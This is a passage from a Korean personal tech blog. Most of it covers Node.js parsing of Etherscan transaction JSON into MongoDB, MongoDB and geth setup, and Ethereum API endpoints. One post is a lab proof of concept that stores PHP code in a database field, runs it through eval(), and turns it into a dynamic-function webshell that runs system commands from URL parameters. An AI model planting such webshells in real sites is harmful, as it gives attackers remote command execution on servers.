sample.json 데이터

 {
 "status":"1",
 "message":"OK",
 "result":[
  {
   "blockNumber":"4473164",
   "timeStamp":"1542787987",
   "hash":"0xac86d44f53a22e4b12853f5f8234f95b831e1521694c4072fd6a97b219ec3cb7",
   "nonce":"17012682",
   "blockHash":"0x4ee9b9d29f78f7aab230613f8827e9e070d5b60b2cd06d61e83b17aaaa5b1e67",
   "transactionIndex":"54",
   "from":"0x81b7e08f65bdf5648606c89998a9cc8164397647",
   "to":"0xff0797d06e8f9897b1d5066c10d9497ed7054a47",
   "value":"1000000000000000000",
   "gas":"21000",
   "gasPrice":"1000000000",
   "isError":"0",
   "txreceipt_status":"1",
   "input":"0x",
   "contractAddress":"",
   "cumulativeGasUsed":"6877760",
   "gasUsed":"21000",
   "confirmations":"104500"
                  }
    ]
}

result속의 데이터만 어떻게 가지고 올까 참 고민 많이 했다.

 

 var fs = require('fs');

console.log(result);
var initialData = fs.readFileSync('sample.json');
var TRList = JSON.parse(initialData);


var Result_data = [];
    for(var i=0; i<TRList.result.length; i++){
        var TR=TRList.result[i];
          var info = {
                  blockNumber: TR.blockNumber,
                  timestamp: TR.timestamp,

                  hash: TR.hash,
                  nonce: TR.nonce,

                  blockHash: TR.blockHash,
                  transactionIndex: TR.transactionIndex,

                  from: TR.from,
                  to: TR.to,

                  value: TR.value,
                  gas: TR.gas,

                  gasPrice: TR.gasPrice,
                  isError: TR.isError,

                  txreceipt_status: TR.txreceipt_status,
                  input: TR.input,

                  contractAddress: TR.contractAddress,
                  cumulativeGasUsed: TR.cumulativeGasUsed,

                  gasUsed: TR.gasUsed,
                  confirmations: TR.confirmations
        };
        Result_data.push(info);
    }
    var result={
        count: Result_data.length, // count
        Result_data: Result_data
    };
console.log(result);

TRList.result 저거 한줄을 못해서 ㅋㅋ 몇시간 동안 머한건지 ,,

 

 root@tkpark-VirtualBox:~/node# nodejs ex4.js
undefined
{ count: 1,
  Result_data:
   [ { blockNumber: '4473164',
       timestamp: undefined,
       hash: '0xac86d44f53a22e4b12853f5f8234f95b831e1521694c4072fd6a97b219ec3cb7',
       nonce: '17012682',
       blockHash: '0x4ee9b9d29f78f7aab230613f8827e9e070d5b60b2cd06d61e83b17aaaa5b1e67',
       transactionIndex: '54',
       from: '0x81b7e08f65bdf5648606c89998a9cc8164397647',
       to: '0xff0797d06e8f9897b1d5066c10d9497ed7054a47',
       value: '1000000000000000000',
       gas: '21000',
       gasPrice: '1000000000',
       isError: '0',
       txreceipt_status: '1',
       input: '0x',
       contractAddress: '',
       cumulativeGasUsed: '6877760',
       gasUsed: '21000',
       confirmations: '104500' } ] }
root@tkpark-VirtualBox:~/node#

 

이제 MongoDB에 집어 넣어 볼가?

var fs = require('fs');
var initialData = fs.readFileSync('sample.json');
var TRList = JSON.parse(initialData);
var mongoose = require('mongoose');
mongoose.connect('mongodb://test:12345@localhost:31337/test',
{
        useNewUrlParser: true
});
var db=mongoose.connection;
var PostSchema = new mongoose.Schema( {
        blockNumber: Number,
        timestamp: Date,
        hash: String,
        nonce: Number,
        blockHash: String,
        transactionIndex: Number,
        from: String,
        to: String,
        value: String,
        gas: Number,
        gasPrice: String,
        isError: Boolean,
        txreceipt_status: Number,
        input: String,
        contractAddress: String,
        cumulativeGasUsed: Number,
        gasUsed: Number,
        confirmations: Number
})
var Post = mongoose.model('Post',PostSchema);
var Result_data = [];
    for(var i=0; i<TRList.result.length; i++){
        var TR=TRList.result[i];
        var post_1 = new Post( {
                blockNumber: TR.blockNumber,
                timestamp: TR.timestamp,
                hash: TR.hash,
                nonce: TR.nonce,
                blockHash: TR.blockHash,
                transactionIndex: TR.transactionIndex,
                from: TR.from,
                to: TR.to,
                value: TR.value,
                gas: TR.gas,
                gasPrice: TR.gasPrice,
                isError: TR.isError,
                txreceipt_status: TR.txreceipt_status,
                input: TR.input,
                contractAddress: TR.contractAddress,
                cumulativeGasUsed: TR.cumulativeGasUsed,
                gasUsed: TR.gasUsed,
                confirmations: TR.confirmations
        });
                post_1.save(function (err) {
                if (err) return handleError(err);
                mongoose.disconnect();
        })
};

다 만들었다 거의 95%정도 완료 ...

save 부분에서 disconnet 해줘야지 백그라운드로 계속 프로세스가 돌지 않고

종료

 

 

 

 

DB에 박히는거 까지 확인

여기서는 조용해서 집중도 잘되고 문제 해결이 잘됨..

 

 

블로그 이미지

iesay

,

DB에 웹쉘코드 삽입 POC

2018. 12. 6. 11:48

php가변함수 참고 : https://demonteam.org/2018/07/18/php/

db에 웹쉘코드를 박고 실행이 될까 하는 의문점에서 시작한 POC

sql인젝션으로  DB에 웹쉘코드를 박고 활용하는 방안이다.

 

 

 root@tkpark-VirtualBox:/var/www/html# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 43
Server version: 10.1.34-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create user 'iesay'@'%' identified by '1234';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> grant all on iesay.* to 'iesay'@'%';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.00 sec)

 

 

 MariaDB [(none)]> use iesay
Database changed
MariaDB [iesay]> create table users (
    ->     idx int not null auto_increment primary key,
    ->     id char(20),
    ->     name varchar(100),
    ->     pw char(20)
    ->     );
Query OK, 0 rows affected (0.02 sec)

MariaDB [iesay]> show tables;
+-----------------+
| Tables_in_iesay |
+-----------------+
| users           |
+-----------------+

 

 MariaDB [iesay]> desc users;
+-------+----------+------+-----+---------+----------------+
| Field | Type     | Null | Key | Default | Extra          |
+-------+----------+------+-----+---------+----------------+
| idx   | int(11)  | NO   | PRI | NULL    | auto_increment |
| id    | char(20) | YES  |     | NULL    |                |
| name  | char(20) | YES  |     | NULL    |                |
| pw    | char(20) | YES  |     | NULL    |                |
+-------+----------+------+-----+---------+----------------+
4 rows in set (0.00 sec)

MariaDB [iesay]> insert into users(id, name, pw) values('admin', '관리자', 'toor');
Query OK, 1 row affected (0.00 sec)


 

 

 

MariaDB [iesay]> select * from users;
+-----+---------+-----------+------+
| idx | id      | name      | pw   |
+-----+---------+-----------+------+
|   1 | admin   | 관리자    | toor |
|  
+-----+---------+-----------+------+
1 rows in set (0.00 sec)
 

 

apt-get install php7.0-mysql

설치 후

phpinfo에서 PDO확인

 

 

MariaDB [iesay]> update users set name = "system(ls);" where id="admin";
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [iesay]> select * from users;
+-----+---------+-------------+------+
| idx | id      | name        | pw   |
+-----+---------+-------------+------+
|   1 | admin   | system(ls); | toor |
|  
+-----+---------+-------------+------+
1 rows in set (0.00 sec)
 

 

 

 

1.php


 

session_start(); // 세션
include ("connect.php"); // DB접속


$query = "select * from users where id='admin' and pw='toor'";
$result = mysqli_query($con, $query);
$row = mysqli_fetch_array($result);

$a= $row['name'];


?>
 

 

 

2.php


<html>
<body>

<h1>Welcome to my home page!</h1>
<p>Some text.</p>
<p>Some more text.</p>
<?php include '1.php';
eval($a);
?>

</body>
</html>
 

 

 

eval함수를 이용한 웹쉘,,,

 

MariaDB [iesay]> update users set name = "$_GET['a']($_GET['b']);" where id="admin";
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0
MariaDB [iesay]> select * from users;
+-----+---------+-------------------------+------+
| idx | id      | name                    | pw   |
+-----+---------+-------------------------+------+
|   1 | admin   | $_GET['a']($_GET['b']); | toor |
|  
+-----+---------+-------------------------+------+
1 rows in set (0.00 sec) 

 

 

 

http://192.168.0.118/2.php?a=system&b=uname%20-a

가변함수로도 사용 가능

 

 

 

 

 

 

 

 

 

'' 카테고리의 다른 글

promise  (0) 2019.03.28
정규식 표현 정리  (0) 2019.03.28
워드프레스 서버 이관  (0) 2018.09.03
PHPMailer 구글 SMTP 메일 보내기  (0) 2018.08.23
리눅스 서버 이관 작업  (0) 2017.10.26
블로그 이미지

iesay

,

 

참고 자료 : https://javafa.gitbooks.io/nodejs_server_basic/content/chapter12.html

var fs = require('fs');
var initialData = fs.readFileSync('123.json');
var TRList = JSON.parse(initialData);
var mongoose = require('mongoose');
mongoose.connect('mongodb://test:12345@localhost:31337/test', {
        useNewUrlParser: true
}
);
var db=mongoose.connection;
var PostSchema = new mongoose.Schema( {
        blockHash: String,
            to: String,
            value: String
}
)
var Post = mongoose.model('Post', PostSchema);
for (var i=0; i<TRList.length; i++) {
        var TR=TRList[i];
        var post_1 = new Post( {
                blockHash: TR.blockHash, to: TR.to, value: TR.value
        });
        post_1.save(function (err) {
                if (err) return handleError(err);
        })
};

Post.find(function (err, docs){
        console.log(docs);
});
console.log("complete");

출력이 다 된 후 멈춤 현상 발생

mongoose는 무조건 스키마 설계 해서 입력해야 됨


MongDB입력된 상태 확인

 

 

 

 

 

소스코드 상에는 출력을 다 하고 Compete 떠야 되는데

이것도 먼가 동기 비동기 문제가 아닌가 생각도 든다.

 

 

 root@tkpark-VirtualBox:~/node# nodejs ex3.js
complete
[ { _id: 5c072a025fce5b0d761520e4,
    blockHash: '0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a025fce5b0d761520e5,
    blockHash: '0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a025fce5b0d761520e6,
    blockHash: '0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '300000000000000000',
    __v: 0 },
  { _id: 5c072a025fce5b0d761520e7,
    blockHash: '0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '2000000000000000000',
    __v: 0 },
  { _id: 5c072a96e83eec0d91432933,
    blockHash: '0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a96e83eec0d91432934,
    blockHash: '0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a96e83eec0d91432935,
    blockHash: '0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '300000000000000000',
    __v: 0 },
  { _id: 5c072a96e83eec0d91432936,
    blockHash: '0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '2000000000000000000',
    __v: 0 },
  { _id: 5c072a9ec3495f0d9f59d16b,
    blockHash: '0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a9ec3495f0d9f59d16c,
    blockHash: '0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072a9ec3495f0d9f59d16d,
    blockHash: '0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '300000000000000000',
    __v: 0 },
  { _id: 5c072a9ec3495f0d9f59d16e,
    blockHash: '0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '2000000000000000000',
    __v: 0 },
  { _id: 5c072aa698a2420dad976f44,
    blockHash: '0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072aa698a2420dad976f45,
    blockHash: '0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '100000000000000000',
    __v: 0 },
  { _id: 5c072aa698a2420dad976f46,
    blockHash: '0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '300000000000000000',
    __v: 0 },
  { _id: 5c072aa698a2420dad976f47,
    blockHash: '0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8',
    to: '0x7a0e3ab3c9626018850c06a099981f0b1f183d95',
    value: '2000000000000000000',
    __v: 0 } ]

 

'시스템' 카테고리의 다른 글

nodejs - form submit  (0) 2019.01.22
nodejs + mariadb 연동  (0) 2019.01.14
nodejs json파일 컨트롤  (0) 2018.12.04
Mongdb 설치 ubuntu 18  (0) 2018.11.30
리눅스 node-gyp 에러 error  (0) 2018.11.23
블로그 이미지

iesay

,

 

샘플용 json파일을 node.js로 파싱해서 화면에 출력해 보았다.

차후 완성본은 웹에 있는 json파일을 파싱해서

MongoDB에 저장하는 형태가 될것이다.

 

 

 

123.json 파일

[

{"blockHash":"0xe4c19d128dc6378021032b0d99caf7f4a4b2fb9842efe256b9b01110c51e5425",

"to":"0x7a0e3ab3c9626018850c06a099981f0b1f183d95","value":"100000000000000000"},


{"blockHash":"0xcc31d4e69d108b9eb2ba289e9c2a1160ea36bb911148e5273fcac146664dd933",

"to":"0x7a0e3ab3c9626018850c06a099981f0b1f183d95","value":"100000000000000000"},

{"blockHash":"0x5de67426b406ac4b499f004fc6cbf44761c5ecd09713cc67617551d5f5834fb4",

"to":"0x7a0e3ab3c9626018850c06a099981f0b1f183d95","value":"300000000000000000"},

{"blockHash":"0x76f3a085892c2f8f77f9c336b1662b3cdf4c5f36b6ec283a91a6cc5456d401f8",

"to":"0x7a0e3ab3c9626018850c06a099981f0b1f183d95","value":"2000000000000000000"}]
 

 

 

ex3.js  node.js파일

var fs = require('fs');

console.log(result);
var initialData = fs.readFileSync('123.json');
var TRList = JSON.parse(initialData);


var Result_data = [];
    for(var i=0; i<TRList.length; i++){
        var TR=TRList[i];
          var info = {
            blockHash : TR.blockHash,
            to : TR.to,
            value : TR.value
        };
        Result_data.push(info);
    }
    var result={
        count: Result_data.length, // count
        Result_data: Result_data
    };
console.log(result); 

 

 

출력결과

 

 

 

 

 

'시스템' 카테고리의 다른 글

nodejs + mariadb 연동  (0) 2019.01.14
nodejs json파일 MongDB에 입력  (0) 2018.12.04
Mongdb 설치 ubuntu 18  (0) 2018.11.30
리눅스 node-gyp 에러 error  (0) 2018.11.23
시스템 해킹 자동화 공격 exploit  (0) 2016.03.12
블로그 이미지

iesay

,

Mongdb 설치 ubuntu 18

시스템 2018. 11. 30. 17:02

요즘 몇일째 삽질의 연속이다.

해결도 잘되고  진도는 나가긴하는데 ,,

 처음 접하니 다 까다롭구나.

 

시스템해킹 보다 개발이 손놓은지 꽤 되어서 더 힘든거 같다.

시스템해킹은 강의 할때 그래도 나름 감각은 있었는데,,

 

MongDB 설치

apt-get install mongodb-server mongodb-clients 

 

설정파일 변경

 vi /etc/mongodb.conf

포트변경

bind_ip = 0.0.0.0  <---127.0.0.1   변경해야 외부 접속 가능

port = 31337

 

주석풀기

auth = true

설치 확인

 mongod --version


db version v3.6.3
git version: 9586e557d54ef70f9ca4b43c26892cd55257e1a5
OpenSSL version: OpenSSL 1.1.0g  2 Nov 2017
allocator: tcmalloc
modules: none
build environment:
    distarch: x86_64    target_arch: x86_64

 

 

구동확인 되었으면 다시 실행하지 말것 그래도 안되면 reboot

구동
systemctl start mongodb


상태 확인
systemctl status mongodb


정지
systemctl stop mongodb


부팅 시 실행 하고
systemctl enable mongodb

재부팅하면 서비스 구동

 

다른 창에서 포트 확인

root@tkpark-VirtualBox:~/node-server# netstat -an | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:31337         0.0.0.0:*               LISTEN
tcp        0      0 192.168.0.118:22        192.168.0.188:65507     ESTABLISHED
tcp        0     64 192.168.0.118:22        192.168.0.188:65516     ESTABLISHED
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN

 

MongDB 31337실행

root@tkpark-VirtualBox:/etc# mongo --port 31337
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:31337/
MongoDB server version: 3.6.3
>

관리자 계정 & 사용자 계정 생성

use admin
db.createUser(
     {
         user: "parktk",
         pwd: "1234",
         roles: [ { role: "userAdminAnyDatabase", db : "admin"} ]
     }
)


>db.auth("parktk", "1234" )


use test
db.createUser(
      {
         user : "test",
         pwd : "12345",
         roles : [
                      {  role : "dbAdmin", db : "test"   },
                      {  role : "readWrite", db : "test" }
                    ]
        }

계정생성 확인

1참   0거짓

1이면 계정이 잘 생성 되었음

> db.auth("test", "12345" )
1

 


> db.auth("test", "12347" )
\Error: Authentication failed.
0
>
 

 

 

 

nodejs

Mongdb 설치

npm install mongodb 

mongoose 설치

npm install mongoose

 

원래 인생은 한번만에 되면 재미 없는법 ㅋㅋ

오류 출몰 @_@

root@tkpark-VirtualBox:~/node-server# nodejs ex1.js
(node:9056) DeprecationWarning: current URL string parser is deprecated, and will be removed in a future version. To use the new parser, pass option { useNewUrlParser: true } to MongoClient.connect.
Connected correctly to server 

 

함수 바꾸니 잘 연결됨

MongoClient.connect-> mongoose.connect변경

 

샘플소스 실행

const mongoose = require('mongoose');
mongoose.connect('mongodb://test:12345@localhost:31337/test', { useNewUrlParser: true });
var db = mongoose.connection;
db.on('error', function(){
    console.log('Connection Failed!');
});
db.once('open', function() {
    console.log('Connected!');
});

console.log(Date.now());
db.close();

 

 

root@tkpark-VirtualBox:~/node-server# nodejs ex1.js
1543570449195
Connected!
root@tkpark-VirtualBox:~/node-server#

 

여기서는 삽질하지만 결과과 나름 잘 나옴.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'시스템' 카테고리의 다른 글

nodejs json파일 MongDB에 입력  (0) 2018.12.04
nodejs json파일 컨트롤  (0) 2018.12.04
리눅스 node-gyp 에러 error  (0) 2018.11.23
시스템 해킹 자동화 공격 exploit  (0) 2016.03.12
취약점 패치 어떻게 하면 좋을가?  (1) 2016.02.18
블로그 이미지

iesay

,

 

이더스캔API erc20token 트렌젝션 조회

 

https://api.etherscan.io/api?module=account&action=tokentx&

contractaddress=0xB8c77482e45F1F44dE1745F52C74426C631bDD52

&page=1&offset=100&sort=desc&apikey=@@@@

 

출처 : https://etherscan.io/apis#accounts

 

API키는 본인걸로 변경해야 된다.

가입해서 사용하면  된다.

 

 

블로그 이미지

iesay

,

입금주소 생성

이더리움 2018. 11. 30. 10:46

입금주소 생성


web3 = new Web3(new Web3.providers.HttpProvider("https://ropsten.infura.io/"));

var result=web3.eth.accounts.create('passswordseed')
console.log(result.address);
console.log(result.privateKey);
 

 

시드주소로 쫙쫚 뽑아 내면 됨

 

블로그 이미지

iesay

,

 

https://ropsten.etherscan.io/api?module=account&action=txlist

&address=0xFf0797D06e8F9897B1D5066C10D9497Ed7054A47

&startblock=0&endblock=99999999&page=1&offset=30&sort=desc

&apikey=@@@@@@@@@

한줄로 입력해야됨

 

 

 

API는 가입하면 KEY주고  메인넷이더리움  , ropsten 동시 사용 가능

https://etherscan.io/apis#accounts

 

 

 

sort=desc 옵션까지 주어서 최신자료가 가장 위에 보이게

지갑 만드시는분 안드로이드클라나,,,,,, 웹이면 DB에 박하넣고

새로고침하면 계속 이벤트 발생시켜서 업데이트 되는 내역 찔러 넣으면 됨..

 

'이더리움' 카테고리의 다른 글

이더스캔API erc20token 트렌젝션 조회  (0) 2018.11.30
입금주소 생성  (0) 2018.11.30
geth 설치 이더리움노드  (0) 2018.11.29
이더리움 infura.io 주소  (0) 2018.11.28
이더스캔 제작3 (개인별 송금조회)  (0) 2018.11.28
블로그 이미지

iesay

,


#!/bin/bash

sudo apt-get install git -y

git clone https://github.com/ethereum/go-ethereum

sudo apt-get install -y build-essential

sudo apt-get install curl -y

curl -O https://dl.google.com/go/go1.9.7.linux-amd64.tar.gz

tar -xzf go1.9.7.linux-amd64.tar.gz

sudo mv go /usr/local

echo 'GOPATH="/usr/local/go"' >> ~/.profile

echo 'PATH="$PATH:$GOPATH/bin"' >> ~/.profile

source .profile

cd ~/go-ethereum/

make geth

cd ~/go-ethereum/build/bin

sudo mv geth /usr/bin/

'이더리움' 카테고리의 다른 글

입금주소 생성  (0) 2018.11.30
이더스캔API 계좌 account 트렌젝션 조회  (0) 2018.11.30
이더리움 infura.io 주소  (0) 2018.11.28
이더스캔 제작3 (개인별 송금조회)  (0) 2018.11.28
이더스캔 제작3 (입금)  (0) 2018.11.26
블로그 이미지

iesay

,

 


Main Ethereum Network
https://mainnet.infura.io/
wss://mainnet.infura.io/ws

 

Test Ethereum Network (Ropsten)
https://ropsten.infura.io/
wss://ropsten.infura.io/ws

 

Test Ethereum Network (Kovan)
https://kovan.infura.io/
wss://kovan.infura.io/ws

 

Test Ethereum Network (Rinkeby)

https://rinkeby.infura.io/
wss://rinkeby.infura.io/ws

 

infura에 가입하면 API주소도 준다. 지금까지 테스트해보면 별반 차이 없어 보인다.

 

'이더리움' 카테고리의 다른 글

이더스캔API 계좌 account 트렌젝션 조회  (0) 2018.11.30
geth 설치 이더리움노드  (0) 2018.11.29
이더스캔 제작3 (개인별 송금조회)  (0) 2018.11.28
이더스캔 제작3 (입금)  (0) 2018.11.26
이더스캔 제작2  (0) 2018.11.26
블로그 이미지

iesay

,